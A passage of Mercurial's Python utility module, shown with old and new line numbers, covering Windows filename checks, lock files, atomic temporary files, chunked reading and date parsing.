1316 1320 >>> checkwinfilename(b"foo/con.xml/bar")
1317 1321 "filename contains 'con', which is reserved on Windows"
1318 1322 >>> checkwinfilename(b"foo/bar/xml.con")
1319 1323 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1320 1324 "filename contains 'AUX', which is reserved on Windows"
1321 1325 >>> checkwinfilename(b"foo/bar/bla:.txt")
1322 1326 "filename contains ':', which is reserved on Windows"
1323 1327 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1324 1328 "filename contains '\\x07', which is invalid on Windows"
1325 1329 >>> checkwinfilename(b"foo/bar/bla ")
1326 1330 "filename ends with ' ', which is not allowed on Windows"
1327 1331 >>> checkwinfilename(b"../bar")
1328 1332 >>> checkwinfilename(b"foo\\")
1329 1333 "filename ends with '\\', which is invalid on Windows"
1330 1334 >>> checkwinfilename(b"foo\\/bar")
1331 1335 "directory name ends with '\\', which is invalid on Windows"
1332 1336 '''
1333 1337 if path.endswith('\\'):
1334 1338 return _("filename ends with '\\', which is invalid on Windows")
1335 1339 if '\\/' in path:
1336 1340 return _("directory name ends with '\\', which is invalid on Windows")
1337 1341 for n in path.replace('\\', '/').split('/'):
1338 1342 if not n:
1339 1343 continue
1340 1344 for c in _filenamebytestr(n):
1341 1345 if c in _winreservedchars:
1342 1346 return _("filename contains '%s', which is reserved "
1343 1347 "on Windows") % c
1344 1348 if ord(c) <= 31:
1345 1349 return _("filename contains '%s', which is invalid "
1346 1350 "on Windows") % escapestr(c)
1347 1351 base = n.split('.')[0]
1348 1352 if base and base.lower() in _winreservednames:
1349 1353 return _("filename contains '%s', which is reserved "
1350 1354 "on Windows") % base
1351 1355 t = n[-1:]
1352 1356 if t in '. ' and n not in '..':
1353 1357 return _("filename ends with '%s', which is not allowed "
1354 1358 "on Windows") % t
1355 1359
1356 1360 if pycompat.iswindows:
1357 1361 checkosfilename = checkwinfilename
1358 1362 timer = time.clock
1359 1363 else:
1360 1364 checkosfilename = platform.checkosfilename
1361 1365 timer = time.time
1362 1366
1363 1367 if safehasattr(time, "perf_counter"):
1364 1368 timer = time.perf_counter
1365 1369
1366 1370 def makelock(info, pathname):
1367 1371 try:
1368 1372 return os.symlink(info, pathname)
1369 1373 except OSError as why:
1370 1374 if why.errno == errno.EEXIST:
1371 1375 raise
1372 1376 except AttributeError: # no symlink in os
1373 1377 pass
1374 1378
1375 1379 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1376 1380 os.write(ld, info)
1377 1381 os.close(ld)
1378 1382
1379 1383 def readlock(pathname):
1380 1384 try:
1381 1385 return os.readlink(pathname)
1382 1386 except OSError as why:
1383 1387 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1384 1388 raise
1385 1389 except AttributeError: # no symlink in os
1386 1390 pass
1387 1391 fp = posixfile(pathname)
1388 1392 r = fp.read()
1389 1393 fp.close()
1390 1394 return r
1391 1395
1392 1396 def fstat(fp):
1393 1397 '''stat file object that may not have fileno method.'''
1394 1398 try:
1395 1399 return os.fstat(fp.fileno())
1396 1400 except AttributeError:
1397 1401 return os.stat(fp.name)
1398 1402
1399 1403 # File system features
1400 1404
1401 1405 def fscasesensitive(path):
1402 1406 """
1403 1407 Return true if the given path is on a case-sensitive filesystem
1404 1408
1405 1409 Requires a path (like /foo/.hg) ending with a foldable final
1406 1410 directory component.
1407 1411 """
1408 1412 s1 = os.lstat(path)
1409 1413 d, b = os.path.split(path)
1410 1414 b2 = b.upper()
1411 1415 if b == b2:
1412 1416 b2 = b.lower()
1413 1417 if b == b2:
1414 1418 return True # no evidence against case sensitivity
1415 1419 p2 = os.path.join(d, b2)
1416 1420 try:
1417 1421 s2 = os.lstat(p2)
1418 1422 if s2 == s1:
1419 1423 return False
1420 1424 return True
1421 1425 except OSError:
1422 1426 return True
1423 1427
1424 1428 try:
1425 1429 import re2
1426 1430 _re2 = None
1427 1431 except ImportError:
1428 1432 _re2 = False
1429 1433
1430 1434 class _re(object):
1431 1435 def _checkre2(self):
1432 1436 global _re2
1433 1437 try:
1434 1438 # check if match works, see issue3964
1435 1439 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1436 1440 except ImportError:
1437 1441 _re2 = False
1438 1442
1439 1443 def compile(self, pat, flags=0):
1440 1444 '''Compile a regular expression, using re2 if possible
1441 1445
1442 1446 For best performance, use only re2-compatible regexp features. The
1443 1447 only flags from the re module that are re2-compatible are
1444 1448 IGNORECASE and MULTILINE.'''
1445 1449 if _re2 is None:
1446 1450 self._checkre2()
1447 1451 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1448 1452 if flags & remod.IGNORECASE:
1449 1453 pat = '(?i)' + pat
1450 1454 if flags & remod.MULTILINE:
1451 1455 pat = '(?m)' + pat
1452 1456 try:
1453 1457 return re2.compile(pat)
1454 1458 except re2.error:
1455 1459 pass
1456 1460 return remod.compile(pat, flags)
1457 1461
1458 1462 @propertycache
1459 1463 def escape(self):
1460 1464 '''Return the version of escape corresponding to self.compile.
1461 1465
1462 1466 This is imperfect because whether re2 or re is used for a particular
1463 1467 function depends on the flags, etc, but it's the best we can do.
1464 1468 '''
1465 1469 global _re2
1466 1470 if _re2 is None:
1467 1471 self._checkre2()
1468 1472 if _re2:
1469 1473 return re2.escape
1470 1474 else:
1471 1475 return remod.escape
1472 1476
1473 1477 re = _re()
1474 1478
1475 1479 _fspathcache = {}
1476 1480 def fspath(name, root):
1477 1481 '''Get name in the case stored in the filesystem
1478 1482
1479 1483 The name should be relative to root, and be normcase-ed for efficiency.
1480 1484
1481 1485 Note that this function is unnecessary, and should not be
1482 1486 called, for case-sensitive filesystems (simply because it's expensive).
1483 1487
1484 1488 The root should be normcase-ed, too.
1485 1489 '''
1486 1490 def _makefspathcacheentry(dir):
1487 1491 return dict((normcase(n), n) for n in os.listdir(dir))
1488 1492
1489 1493 seps = pycompat.ossep
1490 1494 if pycompat.osaltsep:
1491 1495 seps = seps + pycompat.osaltsep
1492 1496 # Protect backslashes. This gets silly very quickly.
1493 1497 seps.replace('\\','\\\\')
1494 1498 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1495 1499 dir = os.path.normpath(root)
1496 1500 result = []
1497 1501 for part, sep in pattern.findall(name):
1498 1502 if sep:
1499 1503 result.append(sep)
1500 1504 continue
1501 1505
1502 1506 if dir not in _fspathcache:
1503 1507 _fspathcache[dir] = _makefspathcacheentry(dir)
1504 1508 contents = _fspathcache[dir]
1505 1509
1506 1510 found = contents.get(part)
1507 1511 if not found:
1508 1512 # retry "once per directory" per "dirstate.walk" which
1509 1513 # may take place for each patches of "hg qpush", for example
1510 1514 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1511 1515 found = contents.get(part)
1512 1516
1513 1517 result.append(found or part)
1514 1518 dir = os.path.join(dir, part)
1515 1519
1516 1520 return ''.join(result)
1517 1521
1518 1522 def getfstype(dirpath):
1519 1523 '''Get the filesystem type name from a directory (best-effort)
1520 1524
1521 1525 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1522 1526 '''
1523 1527 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1524 1528
1525 1529 def checknlink(testfile):
1526 1530 '''check whether hardlink count reporting works properly'''
1527 1531
1528 1532 # testfile may be open, so we need a separate file for checking to
1529 1533 # work around issue2543 (or testfile may get lost on Samba shares)
1530 1534 f1, f2, fp = None, None, None
1531 1535 try:
1532 1536 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1533 1537 suffix='1~', dir=os.path.dirname(testfile))
1534 1538 os.close(fd)
1535 1539 f2 = '%s2~' % f1[:-2]
1536 1540
1537 1541 oslink(f1, f2)
1538 1542 # nlinks() may behave differently for files on Windows shares if
1539 1543 # the file is open.
1540 1544 fp = posixfile(f2)
1541 1545 return nlinks(f2) > 1
1542 1546 except OSError:
1543 1547 return False
1544 1548 finally:
1545 1549 if fp is not None:
1546 1550 fp.close()
1547 1551 for f in (f1, f2):
1548 1552 try:
1549 1553 if f is not None:
1550 1554 os.unlink(f)
1551 1555 except OSError:
1552 1556 pass
1553 1557
1554 1558 def endswithsep(path):
1555 1559 '''Check path ends with os.sep or os.altsep.'''
1556 1560 return (path.endswith(pycompat.ossep)
1557 1561 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1558 1562
1559 1563 def splitpath(path):
1560 1564 '''Split path by os.sep.
1561 1565 Note that this function does not use os.altsep because this is
1562 1566 an alternative of simple "xxx.split(os.sep)".
1563 1567 It is recommended to use os.path.normpath() before using this
1564 1568 function if need.'''
1565 1569 return path.split(pycompat.ossep)
1566 1570
1567 1571 def gui():
1568 1572 '''Are we running in a GUI?'''
1569 1573 if pycompat.isdarwin:
1570 1574 if 'SSH_CONNECTION' in encoding.environ:
1571 1575 # handle SSH access to a box where the user is logged in
1572 1576 return False
1573 1577 elif getattr(osutil, 'isgui', None):
1574 1578 # check if a CoreGraphics session is available
1575 1579 return osutil.isgui()
1576 1580 else:
1577 1581 # pure build; use a safe default
1578 1582 return True
1579 1583 else:
1580 1584 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1581 1585
1582 1586 def mktempcopy(name, emptyok=False, createmode=None):
1583 1587 """Create a temporary file with the same contents from name
1584 1588
1585 1589 The permission bits are copied from the original file.
1586 1590
1587 1591 If the temporary file is going to be truncated immediately, you
1588 1592 can use emptyok=True as an optimization.
1589 1593
1590 1594 Returns the name of the temporary file.
1591 1595 """
1592 1596 d, fn = os.path.split(name)
1593 1597 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1594 1598 os.close(fd)
1595 1599 # Temporary files are created with mode 0600, which is usually not
1596 1600 # what we want. If the original file already exists, just copy
1597 1601 # its mode. Otherwise, manually obey umask.
1598 1602 copymode(name, temp, createmode)
1599 1603 if emptyok:
1600 1604 return temp
1601 1605 try:
1602 1606 try:
1603 1607 ifp = posixfile(name, "rb")
1604 1608 except IOError as inst:
1605 1609 if inst.errno == errno.ENOENT:
1606 1610 return temp
1607 1611 if not getattr(inst, 'filename', None):
1608 1612 inst.filename = name
1609 1613 raise
1610 1614 ofp = posixfile(temp, "wb")
1611 1615 for chunk in filechunkiter(ifp):
1612 1616 ofp.write(chunk)
1613 1617 ifp.close()
1614 1618 ofp.close()
1615 1619 except: # re-raises
1616 1620 try:
1617 1621 os.unlink(temp)
1618 1622 except OSError:
1619 1623 pass
1620 1624 raise
1621 1625 return temp
1622 1626
1623 1627 class filestat(object):
1624 1628 """help to exactly detect change of a file
1625 1629
1626 1630 'stat' attribute is result of 'os.stat()' if specified 'path'
1627 1631 exists. Otherwise, it is None. This can avoid preparative
1628 1632 'exists()' examination on client side of this class.
1629 1633 """
1630 1634 def __init__(self, stat):
1631 1635 self.stat = stat
1632 1636
1633 1637 @classmethod
1634 1638 def frompath(cls, path):
1635 1639 try:
1636 1640 stat = os.stat(path)
1637 1641 except OSError as err:
1638 1642 if err.errno != errno.ENOENT:
1639 1643 raise
1640 1644 stat = None
1641 1645 return cls(stat)
1642 1646
1643 1647 @classmethod
1644 1648 def fromfp(cls, fp):
1645 1649 stat = os.fstat(fp.fileno())
1646 1650 return cls(stat)
1647 1651
1648 1652 __hash__ = object.__hash__
1649 1653
1650 1654 def __eq__(self, old):
1651 1655 try:
1652 1656 # if ambiguity between stat of new and old file is
1653 1657 # avoided, comparison of size, ctime and mtime is enough
1654 1658 # to exactly detect change of a file regardless of platform
1655 1659 return (self.stat.st_size == old.stat.st_size and
1656 1660 self.stat.st_ctime == old.stat.st_ctime and
1657 1661 self.stat.st_mtime == old.stat.st_mtime)
1658 1662 except AttributeError:
1659 1663 pass
1660 1664 try:
1661 1665 return self.stat is None and old.stat is None
1662 1666 except AttributeError:
1663 1667 return False
1664 1668
1665 1669 def isambig(self, old):
1666 1670 """Examine whether new (= self) stat is ambiguous against old one
1667 1671
1668 1672 "S[N]" below means stat of a file at N-th change:
1669 1673
1670 1674 - S[n-1].ctime < S[n].ctime: can detect change of a file
1671 1675 - S[n-1].ctime == S[n].ctime
1672 1676 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1673 1677 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1674 1678 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1675 1679 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1676 1680
1677 1681 Case (*2) above means that a file was changed twice or more at
1678 1682 same time in sec (= S[n-1].ctime), and comparison of timestamp
1679 1683 is ambiguous.
1680 1684
1681 1685 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1682 1686 timestamp is ambiguous".
1683 1687
1684 1688 But advancing mtime only in case (*2) doesn't work as
1685 1689 expected, because naturally advanced S[n].mtime in case (*1)
1686 1690 might be equal to manually advanced S[n-1 or earlier].mtime.
1687 1691
1688 1692 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1689 1693 treated as ambiguous regardless of mtime, to avoid overlooking
1690 1694 by confliction between such mtime.
1691 1695
1692 1696 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1693 1697 S[n].mtime", even if size of a file isn't changed.
1694 1698 """
1695 1699 try:
1696 1700 return (self.stat.st_ctime == old.stat.st_ctime)
1697 1701 except AttributeError:
1698 1702 return False
1699 1703
1700 1704 def avoidambig(self, path, old):
1701 1705 """Change file stat of specified path to avoid ambiguity
1702 1706
1703 1707 'old' should be previous filestat of 'path'.
1704 1708
1705 1709 This skips avoiding ambiguity, if a process doesn't have
1706 1710 appropriate privileges for 'path'. This returns False in this
1707 1711 case.
1708 1712
1709 1713 Otherwise, this returns True, as "ambiguity is avoided".
1710 1714 """
1711 1715 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1712 1716 try:
1713 1717 os.utime(path, (advanced, advanced))
1714 1718 except OSError as inst:
1715 1719 if inst.errno == errno.EPERM:
1716 1720 # utime() on the file created by another user causes EPERM,
1717 1721 # if a process doesn't have appropriate privileges
1718 1722 return False
1719 1723 raise
1720 1724 return True
1721 1725
1722 1726 def __ne__(self, other):
1723 1727 return not self == other
1724 1728
1725 1729 class atomictempfile(object):
1726 1730 '''writable file object that atomically updates a file
1727 1731
1728 1732 All writes will go to a temporary copy of the original file. Call
1729 1733 close() when you are done writing, and atomictempfile will rename
1730 1734 the temporary copy to the original name, making the changes
1731 1735 visible. If the object is destroyed without being closed, all your
1732 1736 writes are discarded.
1733 1737
1734 1738 checkambig argument of constructor is used with filestat, and is
1735 1739 useful only if target file is guarded by any lock (e.g. repo.lock
1736 1740 or repo.wlock).
1737 1741 '''
1738 1742 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1739 1743 self.__name = name # permanent name
1740 1744 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1741 1745 createmode=createmode)
1742 1746 self._fp = posixfile(self._tempname, mode)
1743 1747 self._checkambig = checkambig
1744 1748
1745 1749 # delegated methods
1746 1750 self.read = self._fp.read
1747 1751 self.write = self._fp.write
1748 1752 self.seek = self._fp.seek
1749 1753 self.tell = self._fp.tell
1750 1754 self.fileno = self._fp.fileno
1751 1755
1752 1756 def close(self):
1753 1757 if not self._fp.closed:
1754 1758 self._fp.close()
1755 1759 filename = localpath(self.__name)
1756 1760 oldstat = self._checkambig and filestat.frompath(filename)
1757 1761 if oldstat and oldstat.stat:
1758 1762 rename(self._tempname, filename)
1759 1763 newstat = filestat.frompath(filename)
1760 1764 if newstat.isambig(oldstat):
1761 1765 # stat of changed file is ambiguous to original one
1762 1766 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1763 1767 os.utime(filename, (advanced, advanced))
1764 1768 else:
1765 1769 rename(self._tempname, filename)
1766 1770
1767 1771 def discard(self):
1768 1772 if not self._fp.closed:
1769 1773 try:
1770 1774 os.unlink(self._tempname)
1771 1775 except OSError:
1772 1776 pass
1773 1777 self._fp.close()
1774 1778
1775 1779 def __del__(self):
1776 1780 if safehasattr(self, '_fp'): # constructor actually did something
1777 1781 self.discard()
1778 1782
1779 1783 def __enter__(self):
1780 1784 return self
1781 1785
1782 1786 def __exit__(self, exctype, excvalue, traceback):
1783 1787 if exctype is not None:
1784 1788 self.discard()
1785 1789 else:
1786 1790 self.close()
1787 1791
1788 1792 def unlinkpath(f, ignoremissing=False):
1789 1793 """unlink and remove the directory if it is empty"""
1790 1794 if ignoremissing:
1791 1795 tryunlink(f)
1792 1796 else:
1793 1797 unlink(f)
1794 1798 # try removing directories that might now be empty
1795 1799 try:
1796 1800 removedirs(os.path.dirname(f))
1797 1801 except OSError:
1798 1802 pass
1799 1803
1800 1804 def tryunlink(f):
1801 1805 """Attempt to remove a file, ignoring ENOENT errors."""
1802 1806 try:
1803 1807 unlink(f)
1804 1808 except OSError as e:
1805 1809 if e.errno != errno.ENOENT:
1806 1810 raise
1807 1811
1808 1812 def makedirs(name, mode=None, notindexed=False):
1809 1813 """recursive directory creation with parent mode inheritance
1810 1814
1811 1815 Newly created directories are marked as "not to be indexed by
1812 1816 the content indexing service", if ``notindexed`` is specified
1813 1817 for "write" mode access.
1814 1818 """
1815 1819 try:
1816 1820 makedir(name, notindexed)
1817 1821 except OSError as err:
1818 1822 if err.errno == errno.EEXIST:
1819 1823 return
1820 1824 if err.errno != errno.ENOENT or not name:
1821 1825 raise
1822 1826 parent = os.path.dirname(os.path.abspath(name))
1823 1827 if parent == name:
1824 1828 raise
1825 1829 makedirs(parent, mode, notindexed)
1826 1830 try:
1827 1831 makedir(name, notindexed)
1828 1832 except OSError as err:
1829 1833 # Catch EEXIST to handle races
1830 1834 if err.errno == errno.EEXIST:
1831 1835 return
1832 1836 raise
1833 1837 if mode is not None:
1834 1838 os.chmod(name, mode)
1835 1839
1836 1840 def readfile(path):
1837 1841 with open(path, 'rb') as fp:
1838 1842 return fp.read()
1839 1843
1840 1844 def writefile(path, text):
1841 1845 with open(path, 'wb') as fp:
1842 1846 fp.write(text)
1843 1847
1844 1848 def appendfile(path, text):
1845 1849 with open(path, 'ab') as fp:
1846 1850 fp.write(text)
1847 1851
1848 1852 class chunkbuffer(object):
1849 1853 """Allow arbitrary sized chunks of data to be efficiently read from an
1850 1854 iterator over chunks of arbitrary size."""
1851 1855
1852 1856 def __init__(self, in_iter):
1853 1857 """in_iter is the iterator that's iterating over the input chunks."""
1854 1858 def splitbig(chunks):
1855 1859 for chunk in chunks:
1856 1860 if len(chunk) > 2**20:
1857 1861 pos = 0
1858 1862 while pos < len(chunk):
1859 1863 end = pos + 2 ** 18
1860 1864 yield chunk[pos:end]
1861 1865 pos = end
1862 1866 else:
1863 1867 yield chunk
1864 1868 self.iter = splitbig(in_iter)
1865 1869 self._queue = collections.deque()
1866 1870 self._chunkoffset = 0
1867 1871
1868 1872 def read(self, l=None):
1869 1873 """Read L bytes of data from the iterator of chunks of data.
1870 1874 Returns less than L bytes if the iterator runs dry.
1871 1875
1872 1876 If size parameter is omitted, read everything"""
1873 1877 if l is None:
1874 1878 return ''.join(self.iter)
1875 1879
1876 1880 left = l
1877 1881 buf = []
1878 1882 queue = self._queue
1879 1883 while left > 0:
1880 1884 # refill the queue
1881 1885 if not queue:
1882 1886 target = 2**18
1883 1887 for chunk in self.iter:
1884 1888 queue.append(chunk)
1885 1889 target -= len(chunk)
1886 1890 if target <= 0:
1887 1891 break
1888 1892 if not queue:
1889 1893 break
1890 1894
1891 1895 # The easy way to do this would be to queue.popleft(), modify the
1892 1896 # chunk (if necessary), then queue.appendleft(). However, for cases
1893 1897 # where we read partial chunk content, this incurs 2 dequeue
1894 1898 # mutations and creates a new str for the remaining chunk in the
1895 1899 # queue. Our code below avoids this overhead.
1896 1900
1897 1901 chunk = queue[0]
1898 1902 chunkl = len(chunk)
1899 1903 offset = self._chunkoffset
1900 1904
1901 1905 # Use full chunk.
1902 1906 if offset == 0 and left >= chunkl:
1903 1907 left -= chunkl
1904 1908 queue.popleft()
1905 1909 buf.append(chunk)
1906 1910 # self._chunkoffset remains at 0.
1907 1911 continue
1908 1912
1909 1913 chunkremaining = chunkl - offset
1910 1914
1911 1915 # Use all of unconsumed part of chunk.
1912 1916 if left >= chunkremaining:
1913 1917 left -= chunkremaining
1914 1918 queue.popleft()
1915 1919 # offset == 0 is enabled by block above, so this won't merely
1916 1920 # copy via ``chunk[0:]``.
1917 1921 buf.append(chunk[offset:])
1918 1922 self._chunkoffset = 0
1919 1923
1920 1924 # Partial chunk needed.
1921 1925 else:
1922 1926 buf.append(chunk[offset:offset + left])
1923 1927 self._chunkoffset += left
1924 1928 left -= chunkremaining
1925 1929
1926 1930 return ''.join(buf)
1927 1931
1928 1932 def filechunkiter(f, size=131072, limit=None):
1929 1933 """Create a generator that produces the data in the file size
1930 1934 (default 131072) bytes at a time, up to optional limit (default is
1931 1935 to read all data). Chunks may be less than size bytes if the
1932 1936 chunk is the last chunk in the file, or the file is a socket or
1933 1937 some other type of file that sometimes reads less data than is
1934 1938 requested."""
1935 1939 assert size >= 0
1936 1940 assert limit is None or limit >= 0
1937 1941 while True:
1938 1942 if limit is None:
1939 1943 nbytes = size
1940 1944 else:
1941 1945 nbytes = min(limit, size)
1942 1946 s = nbytes and f.read(nbytes)
1943 1947 if not s:
1944 1948 break
1945 1949 if limit:
1946 1950 limit -= len(s)
1947 1951 yield s
1948 1952
1949 1953 def makedate(timestamp=None):
1950 1954 '''Return a unix timestamp (or the current time) as a (unixtime,
1951 1955 offset) tuple based off the local timezone.'''
1952 1956 if timestamp is None:
1953 1957 timestamp = time.time()
1954 1958 if timestamp < 0:
1955 1959 hint = _("check your clock")
1956 1960 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1957 1961 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1958 1962 datetime.datetime.fromtimestamp(timestamp))
1959 1963 tz = delta.days * 86400 + delta.seconds
1960 1964 return timestamp, tz
1961 1965
1962 1966 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1963 1967 """represent a (unixtime, offset) tuple as a localized time.
1964 1968 unixtime is seconds since the epoch, and offset is the time zone's
1965 1969 number of seconds away from UTC.
1966 1970
1967 1971 >>> datestr((0, 0))
1968 1972 'Thu Jan 01 00:00:00 1970 +0000'
1969 1973 >>> datestr((42, 0))
1970 1974 'Thu Jan 01 00:00:42 1970 +0000'
1971 1975 >>> datestr((-42, 0))
1972 1976 'Wed Dec 31 23:59:18 1969 +0000'
1973 1977 >>> datestr((0x7fffffff, 0))
1974 1978 'Tue Jan 19 03:14:07 2038 +0000'
1975 1979 >>> datestr((-0x80000000, 0))
1976 1980 'Fri Dec 13 20:45:52 1901 +0000'
1977 1981 """
1978 1982 t, tz = date or makedate()
1979 1983 if "%1" in format or "%2" in format or "%z" in format:
1980 1984 sign = (tz > 0) and "-" or "+"
1981 1985 minutes = abs(tz) // 60
1982 1986 q, r = divmod(minutes, 60)
1983 1987 format = format.replace("%z", "%1%2")
1984 1988 format = format.replace("%1", "%c%02d" % (sign, q))
1985 1989 format = format.replace("%2", "%02d" % r)
1986 1990 d = t - tz
1987 1991 if d > 0x7fffffff:
1988 1992 d = 0x7fffffff
1989 1993 elif d < -0x80000000:
1990 1994 d = -0x80000000
1991 1995 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1992 1996 # because they use the gmtime() system call which is buggy on Windows
1993 1997 # for negative values.
1994 1998 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1995 1999 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1996 2000 return s
1997 2001
1998 2002 def shortdate(date=None):
1999 2003 """turn (timestamp, tzoff) tuple into iso 8631 date."""
2000 2004 return datestr(date, format='%Y-%m-%d')
2001 2005
2002 2006 def parsetimezone(s):
2003 2007 """find a trailing timezone, if any, in string, and return a
2004 2008 (offset, remainder) pair"""
2005 2009
2006 2010 if s.endswith("GMT") or s.endswith("UTC"):
2007 2011 return 0, s[:-3].rstrip()
2008 2012
2009 2013 # Unix-style timezones [+-]hhmm
2010 2014 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
2011 2015 sign = (s[-5] == "+") and 1 or -1
2012 2016 hours = int(s[-4:-2])
2013 2017 minutes = int(s[-2:])
2014 2018 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
2015 2019
2016 2020 # ISO8601 trailing Z
2017 2021 if s.endswith("Z") and s[-2:-1].isdigit():
2018 2022 return 0, s[:-1]
2019 2023
2020 2024 # ISO8601-style [+-]hh:mm
2021 2025 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
2022 2026 s[-5:-3].isdigit() and s[-2:].isdigit()):
2023 2027 sign = (s[-6] == "+") and 1 or -1
2024 2028 hours = int(s[-5:-3])
2025 2029 minutes = int(s[-2:])
2026 2030 return -sign * (hours * 60 + minutes) * 60, s[:-6]
2027 2031
2028 2032 return None, s
2029 2033
2030 2034 def strdate(string, format, defaults=None):
2031 2035 """parse a localized time string and return a (unixtime, offset) tuple.
2032 2036 if the string cannot be parsed, ValueError is raised."""
2033 2037 if defaults is None:
2034 2038 defaults = {}
2035 2039
2036 2040 # NOTE: unixtime = localunixtime + offset
2037 2041 offset, date = parsetimezone(string)
2038 2042
2039 2043 # add missing elements from defaults
2040 2044 usenow = False # default to using biased defaults
2041 2045 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
2042 2046 part = pycompat.bytestr(part)
2043 2047 found = [True for p in part if ("%"+p) in format]
2044 2048 if not found:
2045 2049 date += "@" + defaults[part][usenow]
2046 2050 format += "@%" + part[0]
2047 2051 else:
2048 2052 # We've found a specific time element, less specific time
2049 2053 # elements are relative to today
2050 2054 usenow = True
2051 2055
2052 2056 timetuple = time.strptime(encoding.strfromlocal(date),
2053 2057 encoding.strfromlocal(format))
2054 2058 localunixtime = int(calendar.timegm(timetuple))
2055 2059 if offset is None:
2056 2060 # local timezone
2057 2061 unixtime = int(time.mktime(timetuple))
2058 2062 offset = unixtime - localunixtime
2059 2063 else:
2060 2064 unixtime = localunixtime + offset
2061 2065 return unixtime, offset
2062 2066
2063 2067 def parsedate(date, formats=None, bias=None):
2064 2068 """parse a localized date/time and return a (unixtime, offset) tuple.
2065 2069
2066 2070 The date may be a "unixtime offset" string or in one of the specified
2067 2071 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2068 2072
2069 2073 >>> parsedate(b' today ') == parsedate(
2070 2074 ... datetime.date.today().strftime('%b %d').encode('ascii'))
2071 2075 True
2072 2076 >>> parsedate(b'yesterday ') == parsedate(
2073 2077 ... (datetime.date.today() - datetime.timedelta(days=1)
2074 2078 ... ).strftime('%b %d').encode('ascii'))
2075 2079 True
2076 2080 >>> now, tz = makedate()
2077 2081 >>> strnow, strtz = parsedate(b'now')
2078 2082 >>> (strnow - now) < 1
2079 2083 True
2080 2084 >>> tz == strtz
2081 2085 True
2082 2086 """
2083 2087 if bias is None:
2084 2088 bias = {}
2085 2089 if not date:
2086 2090 return 0, 0
2087 2091 if isinstance(date, tuple) and len(date) == 2:
2088 2092 return date
2089 2093 if not formats:
2090 2094 formats = defaultdateformats
2091 2095 date = date.strip()
2092 2096
2093 2097 if date == 'now' or date == _('now'):
2094 2098 return makedate()
2095 2099 if date == 'today' or date == _('today'):
2096 2100 date = datetime.date.today().strftime(r'%b %d')
2097 2101 date = encoding.strtolocal(date)
2098 2102 elif date == 'yesterday' or date == _('yesterday'):
2099 2103 date = (datetime.date.today() -
2100 2104 datetime.timedelta(days=1)).strftime(r'%b %d')
2101 2105 date = encoding.strtolocal(date)
2102 2106
2103 2107 try:
2104 2108 when, offset = map(int, date.split(' '))
2105 2109 except ValueError:
2106 2110 # fill out defaults
2107 2111 now = makedate()
2108 2112 defaults = {}
2109 2113 for part in ("d", "mb", "yY", "HI", "M", "S"):
2110 2114 # this piece is for rounding the specific end of unknowns
2111 2115 b = bias.get(part)
2112 2116 if b is None:
2113 2117 if part[0:1] in "HMS":
2114 2118 b = "00"
2115 2119 else:
2116 2120 b = "0"
2117 2121
2118 2122 # this piece is for matching the generic end to today's date
2119 2123 n = datestr(now, "%" + part[0:1])
2120 2124
2121 2125 defaults[part] = (b, n)
2122 2126
2123 2127 for format in formats:
2124 2128 try:
2125 2129 when, offset = strdate(date, format, defaults)
2126 2130 except (ValueError, OverflowError):
2127 2131 pass
2128 2132 else:
2129 2133 break
2130 2134 else:
2131 2135 raise error.ParseError(_('invalid date: %r') % date)
2132 2136 # validate explicit (probably user-specified) date and
2133 2137 # time zone offset. values must fit in signed 32 bits for
2134 2138 # current 32-bit linux runtimes. timezones go from UTC-12
2135 2139 # to UTC+14
2136 2140 if when < -0x80000000 or when > 0x7fffffff:
2137 2141 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2138 2142 if offset < -50400 or offset > 43200:
2139 2143 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2140 2144 return when, offset
2141 2145
2142 2146 def matchdate(date):
2143 2147 """Return a function that matches a given date match specifier
2144 2148
2145 2149 Formats include:
2146 2150
2147 2151 '{date}' match a given date to the accuracy provided
2148 2152
2149 2153 '<{date}' on or before a given date
2150 2154
2151 2155 '>{date}' on or after a given date
2152 2156
2153 2157 >>> p1 = parsedate(b"10:29:59")
2154 2158 >>> p2 = parsedate(b"10:30:00")
2155 2159 >>> p3 = parsedate(b"10:30:59")
2156 2160 >>> p4 = parsedate(b"10:31:00")
2157 2161 >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
2158 2162 >>> f = matchdate(b"10:30")
2159 2163 >>> f(p1[0])
2160 2164 False
2161 2165 >>> f(p2[0])
2162 2166 True
2163 2167 >>> f(p3[0])
2164 2168 True
2165 2169 >>> f(p4[0])
2166 2170 False
